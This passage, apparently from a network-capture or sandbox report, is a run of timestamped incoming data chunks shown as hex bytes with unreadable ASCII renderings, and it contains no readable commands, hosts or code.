0b fc 78 01 11 e1 95 8b a6 db ef 12 ab 8e 47 d4 bf 24 8d d0 2e 3b b6 59 eb 93 71 cb f7 32 ca f2 2e 81 57 d6 22 0b 90 65 e9 44 b4 64 7e 90 79 df 20 60 b8 1f 5a 16 69 bd 2a be 96 c1 2a 1b a9 9b e2 85 76 d4 67 67 Data Ascii: );A<s8Yy&tnM9&B+u~2uZ Ft[f.w\|z(asarg&jC#/3nZr92`g1d"HHB"toV7$uDQ24xG$.;Yq2.W"eDd~y `Zi**vgg
2023-02-02 07:09:15 UTC	984	IN	Data Raw: fc 5e fb f1 41 ac c8 00 5d db e1 5e 01 e0 57 95 08 ea 84 dd 46 f1 73 3d c2 16 10 26 d5 77 86 ed 2e ff 93 00 78 fe 77 ac 45 23 13 f8 55 1c e5 e3 8b 25 3b 27 2d ae 76 7f bc 09 6a 4f 67 7d ec c4 80 83 22 18 09 85 3a 55 05 32 e5 40 c5 56 de bb a2 65 29 41 7e a2 d5 21 bc a4 8f 51 c6 9c 44 3a d8 0d 34 6a 85 5b 37 a6 4e bd 35 bb 65 c5 d7 2f 0b d8 10 0e 8e 66 06 83 b3 2f 53 67 ce 9d b2 89 ac 5c 69 a2 dd 50 1e a9 5e 4e 62 b0 a9 f7 e7 0b 5c b8 94 4f 51 a7 e8 97 eb d8 54 e5 12 9c 32 1d 88 a6 2b 80 e7 bf ff ea fe 1a ae 05 4c 96 35 66 6b 7d f3 a7 1f f7 8a 82 88 25 1b ad 02 6b ba 81 3c 70 23 c4 47 fd 0e 61 5d b9 08 a8 ea a7 72 c0 d0 07 22 1b 27 68 79 dc 22 03 47 70 90 7e 98 75 55 7e 00 f6 40 d6 78 68 69 42 81 5f 6e 17 81 b5 3a cb 0c 1e 93 44 cd 20 22 2c 7d 34 b5 f6 a0 Data Ascii: ^A]^WFs=&w.xwE#U%;'-vjOg}":U2@Ve)A~!QD:4j[7N5e/f/Sg\iP^Nb\OQT2+L5fk}%k<p#Ga]r"'hy"Gp~uU~@xhiB_n:D ",}4
2023-02-02 07:09:15 UTC	992	IN	Data Raw: 57 84 a7 ce b8 a5 6c df 29 03 b3 14 2a 53 71 02 ae 40 14 a1 af 9d b7 b3 b7 2c cf d8 ee 1c af e3 47 55 0f 24 57 7f ea 44 c5 ca a4 b9 ab 57 f8 c8 a2 54 72 5a 06 49 1c ad 3e ba 3f a4 00 38 19 06 6f 5f ec 14 7c 13 ef c4 a7 a8 f1 53 15 6c 54 d6 e9 80 d7 32 6d ab 4a 61 11 fa 41 73 59 08 3c a2 fd 36 20 78 88 e1 55 5e 70 09 6d b8 26 47 87 3f ff 34 c4 8d 74 68 25 d0 67 65 c6 21 22 20 3e 4e 6d 7f 59 57 c9 d6 14 d1 84 4b 6c 57 90 47 c9 d6 ba 9d 37 d6 60 6e 47 53 31 5f c1 df 8e d5 49 b1 72 ab a6 cf 38 90 9a 8b 33 b0 89 09 17 4d e7 08 60 9f 9d df db 35 4f 66 ad de 07 44 65 18 c6 4d dd b4 08 fe 40 01 07 08 2a 6d 7d f6 8b 4f e8 cf 85 b5 07 f0 63 5d a7 6a f6 33 fb 73 d1 a2 20 7f 66 77 40 c6 63 9d d9 87 3f 27 ee 51 64 41 24 d9 1c 6f 3b a7 58 fe 26 19 6e 54 a6 23 e0 b8 26 Data Ascii: Wl)Sq@,GU$WDWTrZI>?8o_\|SlT2mJaAsY<6 xU^pm&G?4th%ge!" >NmYWKlWG7`nGS1_Ir83M`5OfDeM@m}Oc]j3s fw@c?'QdA$o;X&nT#&
2023-02-02 07:09:15 UTC	1000	IN	Data Raw: 1a 62 5c 29 c2 38 91 51 ca 50 e5 c9 97 ec 6c f8 da ab 0e 5c 99 cd b3 1d a6 f7 b7 dd ff 3a 6b 32 d6 c3 94 b2 91 26 1f 7e 89 5c d9 99 4b 26 8b c9 88 66 4e b9 18 5d 9f e4 7c b2 82 cc be ef df b9 74 36 2a a1 81 75 d7 93 1a 3b d5 f3 50 71 06 c9 87 1a 0c a0 b5 8a 21 d7 54 62 ee d9 1a 8b b0 19 40 1a 9b 77 0c f4 5c ec 0d ec 95 78 69 ef 7b 1a 20 54 1a b9 42 70 5c 0a ee 78 34 4a 6c 89 15 6f b8 dd cc d1 8d f5 71 79 66 ad f4 91 db 02 61 2f f6 9d f6 c6 ab 67 ec 4e 06 6b f2 c2 60 6f 96 57 86 27 6d 08 a6 9c 32 08 c9 15 77 56 f1 61 be 45 e0 1c 73 ff 48 c8 4c 32 14 9f aa cb 6f fe f5 53 b7 92 a9 d2 c9 31 51 2d 18 c4 f5 9d 89 8b 19 5f d9 65 d9 3e 15 21 4e 21 99 90 39 72 8d b9 56 e4 3d a7 33 36 61 81 2e 46 3e b4 b7 8c f2 0a 4a 7c 4a 3c 88 62 3e fb c8 7b 98 6c b3 85 4b 0f 05 Data Ascii: b\)8QPl\:k2&~\K&fN]\|t6*u;Pq!Tb@w\xi{ TBp\x4Jloqyfa/gNk`oW'm2wVaEsHL2oS1Q-_e>!N!9rV=36a.F>J\|J<b>{lK
2023-02-02 07:09:15 UTC	1008	IN	Data Raw: e6 35 1e 9f 3b d9 15 1a d7 f8 61 26 5e 07 25 1f ab 4e d6 e1 6a 41 cf 18 93 93 f1 83 37 39 84 f5 57 7b c5 cc bb cc 06 f1 75 ff 88 0b 0d 87 d4 86 d9 b7 81 ef 6a 81 0e f6 f1 23 b6 16 8f e8 2d 0c 8b 46 24 58 d9 f3 4b e0 4b 69 96 a3 0e 6c f2 66 ef 4a 0e b0 48 3b bb aa b0 ec 4f 8c df 1f ca 3a ec e2 95 56 7a 70 14 28 ff b3 c2 f0 02 99 39 af e9 68 2d 49 db cf 65 1e d2 03 d6 22 b5 01 55 e9 a4 53 ec 14 47 47 93 a8 ce 67 91 9c fc 4f 0b 6c 69 32 2c 76 75 74 cb d0 12 46 a0 89 2d 3b 3d 9f 7e 43 3c f2 a7 ac e5 71 86 01 4a e8 f7 51 04 ee ea c5 07 64 65 a0 9b 51 8a a9 e7 0c b4 39 da 7d 31 f2 99 42 34 0d ef 69 9d fa cf 6c ae 6d 94 ac 4f 2b 16 ef 1d 99 b6 04 e8 71 84 b3 f1 21 d2 22 1f 89 93 55 b5 dc 1b a1 77 c9 3f 90 e6 5a 8c 3d 43 8b 87 34 b1 58 7d c7 d5 be e7 e8 1c 62 e5 Data Ascii: 5;a&^%NjA79W{uj#-F$XKKilfJH;O:Vzp(9h-Ie"USGGgOli2,vutF-;=~C<qJQdeQ9}1B4ilmO+q!"Uw?Z=C4X}b
2023-02-02 07:09:15 UTC	1015	IN	Data Raw: bb 14 96 de 03 74 7f 7e e9 2b bd bb 76 cc 39 62 bd 92 ec 16 c2 e9 9e 84 7e fd 01 87 7a 73 9b 62 5c ac 17 ca 79 d0 40 5d 46 e0 2d e2 b7 eb b6 50 cc ad 56 d2 23 3d 5b 9b 76 96 dc bc 21 aa eb 8e c3 e6 c8 c1 12 4d fc 6a 88 94 10 10 9a 2d 20 ae eb f7 06 41 2c b6 f0 03 1f e6 d6 94 29 73 d6 c5 d8 7e 84 d6 6d 10 ef a8 32 bb db a9 c9 6e 34 a1 7c 6e b7 01 2f ea 2e df 6d 4b 3d 44 d1 5b 19 38 45 2a 70 0e 00 58 a0 e8 9c 88 03 6c 34 50 09 d4 c3 11 f2 46 db 46 27 07 68 45 ce 23 54 92 a6 1a a1 4d b2 82 af 4f 96 ce 88 6b 5e 7f 2b 62 80 96 49 67 04 91 96 28 5b 97 a3 5d 73 92 73 1e c9 9c 61 ba 95 20 1f 6c 96 e2 a0 49 44 67 54 3a 9a d8 9c 7b e9 51 75 f5 a8 73 8b 6b 09 09 d8 bd 39 8e 8c 99 79 38 de 1b 80 f3 7d 9c 1a f6 c4 a5 1d bb 01 71 0f 0d 98 0d f1 63 eb e4 69 96 7e 81 23 Data Ascii: t~+v9b~zsb\y@]F-PV#=[v!Mj- A,)s~m2n4\|n/.mK=D[8E*pXl4PFF'hE#TMOk^+bIg([]ssa lIDgT:{Qusk9y8}qci~#
2023-02-02 07:09:15 UTC	1023	IN	Data Raw: 18 d8 cc 08 d6 d8 f3 e4 2d b0 04 57 42 ee 35 08 53 c7 4c 05 c3 c1 bd 1b 57 ac 18 27 0d 07 b4 b5 3f b6 72 80 8f aa 82 0e e6 8b f6 44 5b 7c d9 a4 b0 86 c6 23 55 ad 6e 94 42 8b d9 65 81 10 e7 59 cd 99 3b 33 0a f0 2c ab 01 30 8f fa c1 2c 64 fc 95 f8 12 00 9b fa 14 82 94 dc 9a bc f9 38 6d 19 95 77 af 11 87 b3 87 d8 d3 6b 2b ff 9b 6c b3 a8 c0 d1 e3 76 8e 8d 0a 15 2a 8f 67 28 c3 4f 16 6d 6f dd c0 15 de 38 c5 ff d4 be e6 bf 3d 6b fd 8f 27 42 7f 1f db 8c 38 90 9c ec 30 ac 1d 28 0b fb c9 b8 3f af 36 2f 22 b7 d5 fd de 21 4e b8 6a cf 0e 88 76 27 54 59 34 d0 8b e6 78 ab af 45 72 77 ce 05 ec 75 33 d5 26 b5 1c b2 71 71 8b c3 d4 3a c7 e1 ac bb 32 19 af 4d e2 49 db fe be 9e 7b 38 c5 0e e8 76 2f 00 7e f4 c5 f8 cb ea 0a 75 2b cc 1f 01 0f 0d ec 76 39 ab 1a 70 36 10 08 1c 80 Data Ascii: -WB5SLW'?rD[\|#UnBeY;3,0,d8mwk+lv*g(Omo8=k'B80(?6/"!Njv'TY4xErwu3&qq:2MI{8v/~u+v9p6
2023-02-02 07:09:15 UTC	1031	IN	Data Raw: 96 6a 33 30 bc 91 24 31 4d 5b a0 22 8e a5 6c 59 ce 92 62 f5 de ee 2c b7 89 e4 60 e8 8a ba 68 b3 c3 ee 24 1f 0f 90 52 05 c3 fd 42 8b ff d8 0d f6 d2 5d 31 2d 31 31 0a 8a c9 7f 84 d7 bb 30 44 de f2 d2 3d f4 ae 61 6b 34 1a 94 43 d6 6e a9 32 a5 39 f5 4b 90 e6 2f 15 11 20 db 26 ae 0f 2c a1 70 8d bf 65 db 5c 52 9c ab 37 a0 4c 62 6a 6d 92 ae a2 61 83 26 67 a2 d0 e1 91 e1 52 6f 83 8a d3 14 cc 0f 39 04 25 d8 48 6d 85 c5 a2 f2 07 8f de e6 c6 29 11 21 15 ca 4d f6 f8 af 7c 18 67 70 35 66 c4 2c 58 50 60 17 33 2d 4f 03 7e f9 84 46 88 2e 4a 49 a7 24 a4 a2 73 6e c8 20 04 31 f4 41 80 c4 1c b8 5c 78 63 65 20 73 38 0a 05 8e a2 ef fc 2f a7 a7 34 bf 87 37 e3 e5 95 1b c3 1b 9d fb cf d8 b3 ed 85 39 d3 c2 a1 a7 ac a3 cd d4 86 8d e5 0a 5b ad 51 40 e4 c1 4c 04 dd 2f e7 31 87 9e 39 Data Ascii: j30$1M["lYb,`h$RB]1-110D=ak4Cn29K/ &,pe\R7Lbjma&gRo9%Hm)!M\|gp5f,XP`3-O~F.JI$sn 1A\xce s8/479[Q@L/19
2023-02-02 07:09:15 UTC	1039	IN	Data Raw: 7d 68 3b 18 c5 83 33 32 71 dc a6 08 04 81 75 f6 9a 6b 2f e8 86 bd 1a b7 11 03 0b df a7 01 32 19 be d0 20 ea c3 16 52 51 dd 52 6e 3c 37 87 77 a7 76 30 83 e2 82 30 5b 2f fe 9c f4 07 e6 f1 05 e8 bb 9c bb 6a 1e 1b 7d fb 57 ee e9 3b 37 3f 99 19 33 bd c4 e9 f3 59 3f 0a b6 20 8b 46 30 00 f2 1c c4 b6 27 98 78 a3 a1 b7 7a dc bf 0f 29 c6 29 d1 d0 f1 8d ef c4 d3 93 a3 6b 8f 4e 78 8b 13 79 9d b5 21 a8 58 36 c0 9d c8 47 dd cf 35 8c 2a 66 40 6a db 76 48 b4 60 d5 40 2c 59 23 3c 9f 4c 5c aa 77 fe bd 1d db 39 af d9 85 e1 a4 48 47 e1 e6 71 9b c9 73 93 d0 46 fa 13 28 b9 22 b7 1c d4 5f fb ab 42 a9 e6 81 e9 96 77 8f 5f 4d e5 37 be bc 56 02 c5 cd a5 bd 1f 34 81 be 86 5e 77 93 82 22 3d c4 19 c2 9b 8e 41 e3 df d1 ef f1 1d 55 e1 30 bf af 9e 49 19 9f f7 ab a9 a6 76 22 00 e4 84 57 Data Ascii: }h;32quk/2 RQRn<7wv00[/j}W;7?3Y? F0'xz))kNxy!X6G5*f@jvH`@,Y#<L\w9HGqsF("_Bw_M7V4^w"=AU0Iv"W
2023-02-02 07:09:15 UTC	1047	IN	Data Raw: d4 9b 11 a1 8c d4 8d 52 47 7a 86 87 52 9e e5 8f ad 5a bc 4e 68 3e ef 6c 39 6d 58 30 0d 9b 58 d5 8d a9 9b 42 20 3e 08 b2 15 84 22 1d 28 bf 47 3b 52 35 8b c8 01 00 ae ac b8 be 1b 35 5c 26 c7 93 6c d8 b9 46 26 54 2f ec b6 89 e7 22 37 16 58 09 f1 29 55 88 7d 6e b8 33 ab 30 f8 4b 83 27 6e cb b8 2f ec 53 27 9c 40 54 21 16 df 93 e1 4a e4 72 6c 0b c1 ff 5a 19 a8 0f 65 4e ed c7 e3 cb 91 f6 94 54 16 01 6c 89 f5 a6 6a 0c 69 4c ef 1b 75 a1 cd dd 6f f9 b5 30 e8 fb 92 4e 7d 1d 8b 04 34 d5 7a f0 c2 8d a3 35 85 c5 6c d8 a7 a8 2a 2a 83 5b 8c 5e 72 d5 21 e3 82 b1 9b 75 b4 83 e0 30 6a 92 8b b0 4f e2 89 9d 68 42 ae c8 b4 77 c7 8f 72 d5 b0 d5 f5 dc 2d 95 4f e8 41 7c 79 35 c4 d7 9d 53 ef a4 a0 c3 fd 9c b8 2f 58 67 f3 b1 10 77 6c 5f 4d 54 d3 20 36 76 25 93 01 e8 af 6c 48 54 9c Data Ascii: RGzRZNh>l9mX0XB >"(G;R55\&lF&T/"7X)U}n30K'n/S'@T!JrlZeNTljiLuo0N}4z5l**[^r!u0jOhBwr-OA\|y5S/Xgwl_MT 6v%lHT
2023-02-02 07:09:15 UTC	1054	IN	Data Raw: da 7f a9 63 1b 44 18 4c f3 e0 b9 54 d2 a6 f6 db 4d c8 25 1a 09 4d da c2 84 22 2c 95 77 7c 26 92 7d 4c 20 ed b5 dd 1c 92 b1 bc ab 0d 5a 90 69 11 27 26 86 6f e8 84 21 b0 8b 5f 18 3a 95 6c 28 36 39 3f 04 cc 28 e0 74 65 55 18 74 b9 2e 1d f9 8e fa a3 bf c7 39 1b 3f 03 3c 90 8a 63 f0 94 b4 25 0c 7b eb 26 ff 6f 8d 2d 69 06 14 06 aa 29 b5 f2 78 a0 5f 32 9a 5e 3a 12 4f af a1 22 7d b9 b5 71 d4 35 9a 63 75 1e 96 9b d5 e9 e7 ff ee f1 e4 7e 05 b9 a3 a9 55 77 f6 c3 c8 d5 92 c3 12 75 70 cb 6c 7d 58 03 09 b1 0c 72 b2 b6 25 ef 20 3f 24 b5 42 c9 a3 40 05 29 d6 39 ad 1e c5 45 87 7b c1 43 63 aa 0c d6 ae 09 f4 79 d5 b9 f3 f4 f0 6f 6f 3c 26 71 1f 50 79 a7 9d 9d 93 15 0d d7 35 01 9f 5b 13 2f e7 9e e1 d8 f9 5e e8 70 4d c8 12 13 06 73 7a cf ba 24 07 00 13 74 9e 10 20 45 3a 6d d3 Data Ascii: cDLTM%M",w\|&}L Zi'&o!_:l(69?(teUt.9?<c%{&o-i)x_2^:O"}q5cu~Uwupl}Xr% ?$B@)9E{Ccyoo<&qPy5[/^pMsz$t E:m
2023-02-02 07:09:15 UTC	1062	IN	Data Raw: ca 23 76 2f cc ee 4e 32 65 a3 1b 62 22 10 88 83 4a cc 78 56 ee cf 63 5e f7 6d f7 12 89 6e 0f 54 d7 c4 5e db 0b 66 a2 e0 c6 33 ba e8 15 7f 1d 6a da dd cd 36 91 c6 e1 33 0a 4c 92 ec b2 52 de 70 55 89 bf c0 1d 17 ea 49 01 6d 57 29 1f 19 57 d6 55 93 cb eb b8 ba ef 19 d1 cc 44 b5 fd 1a c1 f9 da 2f 3e 37 e6 df 7d 40 7f 46 ae c6 29 05 a5 54 76 ce 0d 9a 26 2b 34 e8 11 b3 0b 1a 57 4c 0c 6d 1f cf 97 e9 80 24 6b 2e 2e 63 8b c8 38 7b ce 8a 86 d6 8d 31 19 c0 76 e1 cb 78 c4 fd 35 95 1b 78 4c 1d b4 b9 6b 19 a3 34 be 4a a4 8c b1 fc 4d a3 ee 12 7f 8d f6 18 fe c3 12 e4 87 c6 3d f6 55 97 1d 6c 6c 41 06 a5 cb 91 b1 6e d4 4a 8f 4f c2 a0 7d 0a 47 ba a7 1b 23 db 39 81 d3 32 0c 68 18 ef 87 11 67 be 93 88 f0 e5 dd 32 fc 60 04 64 cb 6b a5 2e 8e f4 48 f4 f9 9f 91 1f 7d db eb a0 a4 Data Ascii: #v/N2eb"JxVc^mnT^f3j63LRpUImW)WUD/>7}@F)Tv&+4WLm$k..c8{1vx5xLk4JM=UllAnJO}G#92hg2`dk.H}
2023-02-02 07:09:15 UTC	1070	IN	Data Raw: cd df ca ba 9b 4a 67 6e 63 8d 77 54 ce 5b 5b 3b ae 98 4b 28 e3 ac a1 c8 a8 eb 0d 53 b8 82 d6 17 eb 5a 33 d0 8a 50 96 8d 6d da e3 1e 84 e5 fc bc c3 6d 08 63 0f 8b d2 58 62 f7 59 1c 63 96 39 dd ca 0b 7c 23 76 65 e0 97 59 47 cc db 28 79 d3 5e 4c 37 60 b2 6f 95 02 80 02 c8 b7 6d 2e 36 a7 e2 f9 f5 7e c2 49 8f 40 f6 3e 86 23 d4 3d e4 0f 4f 30 54 bd 71 b8 dc 31 93 c2 ca 18 e4 f9 39 cb f8 e1 57 87 5d 69 b6 64 b3 0d fe 7c 85 7f ea 86 8a f2 85 81 95 96 aa 55 97 75 e4 be 83 5c 17 30 46 24 0a 00 f6 e3 14 0c 06 da 08 e1 e2 65 e1 01 55 ef 95 59 6b e2 20 c5 c4 d5 bf a2 42 bd bf 9a 2c f7 26 7a f2 21 35 e1 75 4f 15 5c 0d c2 86 e9 78 1a c3 9c 59 35 08 62 16 e1 19 74 e2 0a 48 fb 32 ab 56 68 5d 53 77 a9 f1 56 ee d5 6a 41 0a 02 2b ce 3a ae 9c c5 73 87 35 99 98 b8 fb a0 d3 d7 Data Ascii: JgncwT[[;K(SZ3PmmcXbYc9\|#veYG(y^L7`om.6~I@>#=O0Tq19W]id\|Uu\0F$eUYk B,&z!5uO\xY5btH2Vh]SwVjA+:s5
2023-02-02 07:09:15 UTC	1078	IN	Data Raw: 1e ed 78 c0 38 3e bc fc eb 3a 28 32 73 c9 d3 f0 c4 a9 53 70 70 e1 20 6a cc eb 53 e5 f4 75 d2 53 1c d1 44 15 65 f2 c8 88 a2 b2 c8 68 6d bc 16 4b 6b 08 cc 43 82 fb 50 73 9a ad 4a 39 68 78 59 f3 62 6d b4 80 c7 f6 b4 40 15 41 95 f3 d4 f9 0a 48 1c 42 12 6d 49 84 52 ce 39 32 5a 68 b6 e3 13 0f 46 3c 1c 3b 81 91 e8 92 92 8a 33 01 88 be b6 64 51 db b8 e0 46 48 88 ba da f2 41 52 e9 01 7e c6 e1 74 67 e6 52 77 13 ad 09 7c f2 62 2f b6 c1 02 97 5f 19 74 44 66 3d f6 86 23 49 d7 40 9f 7b a6 cf 23 fd 4f 88 28 a7 0c e1 c7 18 86 66 69 17 2d 79 3f 29 e3 01 2e f9 90 bf 47 00 9c e5 dc 22 29 27 5e 11 47 de c9 69 29 fc d8 3e db 2c df 34 ef 65 63 35 fe d6 51 61 df 2a 01 59 d2 a9 8f e3 ed b9 54 a9 05 23 c5 b2 44 eb 23 e9 19 85 f5 6b 0d 38 cc 58 30 83 0b 9d 02 dd b3 cd 18 51 32 4c Data Ascii: x8>:(2sSpp jSuSDehmKkCPsJ9hxYbm@AHBmIR92ZhF<;3dQFHAR~tgRw\|b/_tDf=#I@{#O(fi-y?).G")'^Gi)>,4ec5Qa*YT#D#k8X0Q2L
2023-02-02 07:09:15 UTC	1086	IN	Data Raw: a1 42 bc df c4 79 1c d1 89 2e 6f c9 66 7c 23 8a 9c 4b e6 63 c5 4c 7a 74 98 2d 1e 09 9a 87 15 35 be bb 78 19 8c 37 b9 56 b9 a3 0a 1b f2 41 28 97 0b be c0 4b 5b c4 1f 2a fe c4 c6 a0 d9 fd 23 2d a9 de d1 b0 ce 41 b8 b4 d4 14 23 7f 2f 6b d6 8a ff 9c ef 61 de 70 b0 fe 62 94 2e a1 27 ac 96 e1 3e af 17 f3 59 5c 28 fc dd 71 89 b7 8e 66 cc aa ed c9 5c c3 f2 38 73 89 b4 b0 f7 73 21 99 57 44 64 3e 13 c7 f7 df 75 e2 24 8a f8 27 29 7a c8 20 da 9c 37 55 ee 37 9e 86 d8 68 1b 4e 91 ce 27 37 7b 73 1a d1 d1 52 2e 8d b5 4f 63 b0 88 d8 64 71 63 06 d2 27 63 d5 b6 3b 5b 23 ad ab c6 86 84 1e 44 a7 05 a4 6b 81 0b dc 5f 30 4b e4 a6 62 13 a5 57 a5 7e 3e 4f d4 25 d7 ab e8 bb 8d f3 53 ff 59 7a 92 a4 7f 8d a6 7d e2 3a 68 bd 40 3c b9 ce 19 a1 94 4d ef cd dd 2f 17 24 24 45 fc 3d 87 54 Data Ascii: By.of\|#KcLzt-5x7VA(K[*#-A#/kapb.'>Y\(qf\8ss!WDd>u$')z 7U7hN'7{sR.Ocdqc'c;[#Dk_0KbW~>O%SYz}:h@<M/$$E=T
2023-02-02 07:09:15 UTC	1094	IN	Data Raw: 02 f3 95 36 dd 50 af 10 58 5d 3e 2d 5c de 0f e1 b4 93 ce 59 e0 86 c2 f8 de dd b1 28 1f 9e 19 c3 b6 00 f9 b9 8a 92 6b 82 a1 e7 ad 79 d7 81 e6 8d d8 63 96 e4 19 44 12 78 a4 4c d3 00 f7 59 9f 67 6b 72 25 7f bb c1 ce b0 c1 d9 85 a0 b6 43 cc 83 9b 09 e4 cf 89 4f 8a dd 32 0e 40 5e 2c a2 e1 7f 12 4c 2a ff d8 c0 26 42 f4 94 b5 cd 4c 8f 8e 99 4a 8b 8a e5 73 63 37 28 93 c0 a0 44 5a f4 17 27 51 21 57 05 f6 bc e0 f6 53 f3 cb 59 98 38 26 63 dc 86 37 08 62 46 2c 25 66 69 d4 a1 c0 d7 fe 48 68 9c 05 a2 6b fa 80 d8 1a 56 5f 5f 15 65 65 de 18 cf 90 c7 fe cd 1d fd a5 b0 94 f9 ec d4 f6 13 1a 68 67 f6 1e 98 31 69 63 f5 70 e7 a8 d1 de 53 16 61 43 16 a4 23 6a 67 ec 5b 5d 8f ae f3 54 16 f6 2b e2 ff cb d4 d0 db 20 89 28 f3 28 da ed d5 e3 bb 35 67 0b 1c 55 07 5a 05 c1 13 5b 7b 6f Data Ascii: 6PX]>-\Y(kycDxLYgkr%CO2@^,L*&BLJsc7(DZ'Q!WSY8&c7bF,%fiHhkV__eehg1icpSaC#jg[]T+ ((5gUZ[{o
2023-02-02 07:09:15 UTC	1101	IN	Data Raw: ad 14 d8 c1 e9 90 6c fc 2a 7b 65 75 15 5e ec e5 c0 ff 90 c9 0c de 21 2f 90 e7 7a 53 23 06 97 e5 9a af e8 5a ea c4 f2 4c 17 7c fd dc f8 39 cb db 4a 24 61 e2 c5 10 38 96 9a aa 21 d7 92 c9 44 85 5f 4a b0 59 ee 90 38 c1 8a 24 24 b4 58 23 81 83 41 15 93 7d e8 f7 f5 b6 49 9c 18 d1 b4 ea 41 78 7a 9d 21 8e 54 ff 71 31 1d d0 2a 4c c2 c3 be 5d 93 43 e2 e6 27 dd 3b 4e 29 da 0d b3 95 2d 33 00 14 2d 0a d0 1c f3 4a 9d a0 5e 4f 10 eb d5 01 8d 75 1e 11 3e 29 11 52 62 5b 74 73 b3 98 17 c7 97 fa 6b 24 3d 28 48 03 81 33 8b 27 45 44 d4 d6 35 df 39 be b1 ac 36 eb 7b 6b 27 0a f8 ee 1b 62 5e 25 62 10 43 7a b6 3d 33 bf d4 c9 3a 1d 30 5b 23 1d 58 b6 06 28 5a 59 21 70 16 f6 2c 85 20 63 a6 f1 14 ef 45 51 e3 df 30 ef 58 05 6b 4b 2c 9f 5b 87 d1 35 81 e0 94 ca 5e 35 ca 31 22 97 c4 30 Data Ascii: l{eu^!/zS#ZL\|9J$a8!D_JY8$$X#A}IAxz!Tq1L]C';N)-3-J^Ou>)Rb[tsk$=(H3'ED596{k'b^%bCz=3:0[#X(ZY!p, cEQ0XkK,[5^51"0
2023-02-02 07:09:15 UTC	1109	IN	Data Raw: 7d 9a 49 fe e4 52 e1 35 bc 56 09 8e b2 a0 2d bf 4c 33 63 c9 ef ba fa c8 1b c3 34 ff d3 7b 9f bc 01 0f 2d a9 e1 51 c1 15 67 82 dd 0e 5f 9d 9c 1a 27 30 82 83 2b 00 95 52 f2 39 69 a2 3c 3e 8b 30 15 c1 3f 35 48 d3 a0 74 e2 e9 63 08 71 d0 3d 7d 11 4e 72 21 05 53 e7 1c 86 de e7 6e c8 92 51 2f 57 9f 22 35 29 60 04 ad f4 cf 11 e6 7d 89 81 4a d1 ae 08 c4 b9 73 32 54 3c 74 4c 87 38 aa 7d 60 f9 fd 98 a0 96 ee 74 db 91 d1 dd ce 21 70 48 05 8e 0c 26 f9 39 dd e5 06 e0 35 8e c9 a4 d1 75 f9 bb 23 ba b0 34 28 5e fd fd 2d 3f 52 93 51 77 e4 da 3c 65 71 a6 0d f7 a3 b8 09 91 10 92 4d 7d 9b b3 99 a8 5d d9 27 0d 19 6e b1 26 f7 97 e5 45 17 54 27 14 a7 95 4a fa ba e4 2f dc 19 d7 a0 35 ab 8b bf f8 d3 43 5a 9d 97 0a bf 21 36 56 ed 1d 8a 75 6e 4a fd ba b1 42 92 1e 5e 3c de c4 91 59 Data Ascii: }IR5V-L3c4{-Qg_'0+R9i<>0?5Htcq=}Nr!SnQ/W"5)`}Js2T<tL8}`t!pH&95u#4(^-?RQw<eqM}]'n&ET'J/5CZ!6VunJB^<Y
2023-02-02 07:09:15 UTC	1117	IN	Data Raw: 47 a0 52 34 18 a3 ca ee 81 97 be 01 36 b0 a2 1f 48 58 f2 d2 b3 b4 17 b7 9c 6a 2b 3f 64 d2 43 29 e7 76 f2 e7 46 06 79 71 c6 de 4b 13 97 d6 f5 49 41 0c c5 bc 8e 0a 36 54 ff d9 2a be 11 e9 04 fc be d5 fa 38 78 4e 85 4b a9 1a 05 f9 53 ab eb 61 90 8c 18 52 85 18 0a 01 33 8d fb a1 a6 8c 54 28 63 1b 58 08 da 86 4a e0 89 11 7b b1 57 96 70 3f 6a a5 7f b5 41 48 a2 e4 7a 11 c6 9c 34 fb fc ab 3d dd b0 89 2f 37 d8 cd 6a a0 bf 20 a2 22 93 58 59 5f a9 f6 7e fe 91 82 1b 7b 13 b1 67 07 96 d5 de 03 a7 22 af 52 be f8 be 0f d2 74 13 01 27 7a 94 34 db 33 1b 85 f6 8c 7d e4 1a 7d 40 2f 3f d3 f2 da c2 f3 23 30 b5 69 53 73 06 08 b3 2a d0 3e a1 86 6f 4b c6 20 bf c1 ee a4 e4 b2 5c fc 05 4d dd 11 72 ad fc 27 e5 46 bf 39 3f b5 0b c1 4d 7f a1 fa f6 f0 cb db c8 34 2c b0 e3 32 16 00 bd Data Ascii: GR46HXj+?dC)vFyqKIA6T8xNKSaR3T(cXJ{Wp?jAHz4=/7j "XY_~{g"Rt'z43}}@/?#0iSs>oK \Mr'F9?M4,2
2023-02-02 07:09:15 UTC	1125	IN	Data Raw: 5f 0e 37 ad 0d 51 e7 da 06 0a 99 1c 16 48 9f 47 db bd ab 69 47 dd ee e5 1d c7 b0 6a ab df cd 8b 45 48 c9 94 c9 74 49 76 58 c0 08 f7 3a c9 83 81 33 98 17 a0 98 02 4b b2 f3 3b c2 0e 8d bd ba 15 ae 1e 80 69 d5 61 d7 75 e7 4c 11 dd 01 ea af 1e f3 ab 52 b8 7a 92 53 7c f6 1d 3f 7f 58 d2 f6 29 56 a4 80 c6 4c 50 35 77 0b b7 b6 75 af 68 78 22 83 63 5b 45 c9 72 d7 cc 20 2e 23 7e 41 0a cd 7d 64 f7 a7 63 98 4a 1d b8 1c 37 58 01 39 85 32 93 71 92 ee 44 05 0f 72 cc 73 86 c3 82 c9 c2 0c 67 78 41 d4 37 3b 20 da 21 5a 3e f7 7c c3 48 af ef c6 9f 62 f0 c5 a9 d1 65 ac 9e f9 6a b4 b4 6e 58 ca c8 57 aa 48 2f 26 43 31 f1 16 f3 ce d5 3e fe a9 ca 20 15 95 9a 2f f4 e2 4a f9 e6 e3 4a f2 1b a0 92 fb d3 4e b2 9d 69 8c 4c 29 77 69 99 19 70 b9 7d 11 b9 90 d2 a4 73 46 e6 bd ed 77 38 cf Data Ascii: _7QHGiGjEHtIvX:3K;iauLRzS\|?X)VLP5wuhx"c[Er .#~A}dcJ7X92qDrsgxA7; !Z>\|HbejnXWH/&C1> /JJNiL)wip}sFw8
